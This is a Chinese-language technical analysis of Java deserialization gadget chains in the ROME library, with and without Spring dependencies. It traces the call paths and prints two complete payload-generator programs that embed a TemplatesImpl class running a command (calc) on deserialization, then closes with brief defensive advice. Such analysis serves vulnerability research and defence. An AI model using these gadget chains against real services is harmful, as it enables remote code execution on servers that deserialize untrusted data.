Rome的Spring依赖下的反序列化利用链分析
字数 1323 2025-08-05 08:19:13
Rome的Spring依赖下的反序列化利用链分析
前言
本文详细分析Rome工具库在Spring依赖环境下的反序列化利用链,重点探讨与Spring相关的利用链及其实现原理。由于Rome利用链具有高度相关性,本文也会涉及非Spring环境下的基础利用链分析。
环境配置
- JDK版本:8u201
- 依赖库:
<dependencies> <dependency> <groupId>rome</groupId> <artifactId>rome</artifactId> <version>1.0</version> </dependency> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.21.0-GA</version> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.4</version> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-test</artifactId> <scope>test</scope> </dependency> </dependencies>
ROME库简介
ROME是一个用于处理和操作XML格式数据的工具库,主要功能包括:
- 将XML数据转换为Java对象
- 将Java对象转换为XML数据
危险点在于ROME提供的ToStringBean类,该类中的toString方法能够对Java Bean进行操作,这为反序列化攻击提供了可能。
基础利用链分析(非Spring环境)
TemplatesImpl利用链
基础调用栈:
TemplatesImpl#getOutputProperties()
→ TemplatesImpl#newTransformer()
→ TemplatesImpl#getTransletInstance()
→ TemplatesImpl#defineTransletClasses()
→ TransletClassLoader#defineClass()
关键点:需要找到能够触发类中getter方法的函数。
ToStringBean类分析
ToStringBean类的toString方法关键代码:
private String toString(String prefix) {
StringBuffer sb = new StringBuffer(128);
try {
// 获取所有的getter方法
PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);
if (pds != null) {
for(int i = 0; i < pds.length; ++i) {
String pName = pds[i].getName();
Method pReadMethod = pds[i].getReadMethod();
if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class
&& pReadMethod.getParameterTypes().length == 0) {
// 调用getter方法
Object value = pReadMethod.invoke(this._obj, NO_PARAMS);
this.printProperty(sb, prefix + "." + pName, value);
}
}
}
} catch (Exception var8) {
sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass()
+ ".toString(): " + var8.getMessage() + "\n");
}
return sb.toString();
}
构造要点:
this._beanClass需要设置为Templates.class(而非TemplatesImpl.class),因为Templates接口只有一个getter方法getOutputPropertiesthis._obj设置为实例化的TemplatesImpl类对象
EqualsBean作为入口
调用链:
HashMap#readObject()
→ EqualsBean#hash()
→ EqualsBean#hashCode()
→ ToStringBean#toString()
→ TemplatesImpl#getProperties()
→ ...
→ TemplatesImpl#defineClass()
完整Payload构造代码:
public class RomeToStringBean {
public static void setFieldValue(Object obj,String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static void main(String[] args) throws Exception{
byte[] code = getTemplates();
// 装载Templates
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "Evil");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 防止put触发payload
ToStringBean toStringBean = new ToStringBean(Templates.class, new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "123");
// 改成真正的payload
setFieldValue(toStringBean, "_obj", templates);
// 序列化与反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
}
Spring环境下的利用链分析
依赖配置
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>
利用链分析
调用流程:
HashMap#readObject()触发反序列化- 处理第二个
<key,value>对时进入putVal()的第三个if分支 - 调用
HotSwappableTargetSource的equals方法 - 内部调用
XString的equals方法 - 最终调用
ToStringBean的toString方法
关键点:
- 使用
HotSwappableTargetSource和XString组合 XString对象的equals方法会调用toString方法- 必须将含有
XString对象的HotSwappableTargetSource放在第二个位置
完整Payload:
public class SpringRome1 {
public static void setFieldValue(Object obj,String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("Test");
ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String block = "Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertBefore(block);
return ctClass.toBytecode();
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] code = getTemplates();
setFieldValue(templates,"_name","fanxing");
setFieldValue(templates,"_bytecodes",new byte[][] {code});
ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templates);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
HashMap hashMap = new HashMap();
hashMap.put(h1,"1");
hashMap.put(h2,"1");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
}
关键差异总结
-
触发方式不同:
- 非Spring链:通过
HashMap的hash()方法触发 - Spring链:通过
HashMap的putVal方法触发
- 非Spring链:通过
-
构造要求:
- Spring链必须将含有
XString对象的HotSwappableTargetSource放在第二个位置 - 非Spring链需要特别注意
EqualsBean的使用
- Spring链必须将含有
-
调用路径:
- 非Spring链:
hashCode()→toString() - Spring链:
equals()→toString()
- 非Spring链:
防御建议
- 升级ROME库到最新版本
- 对反序列化操作进行严格限制
- 使用安全框架对危险操作进行拦截
- 实施代码审计,检查是否存在类似的利用链
参考资源
- Java反序列化之ROME反序列化 - 先知社区
- HashMap putVal方法分析文章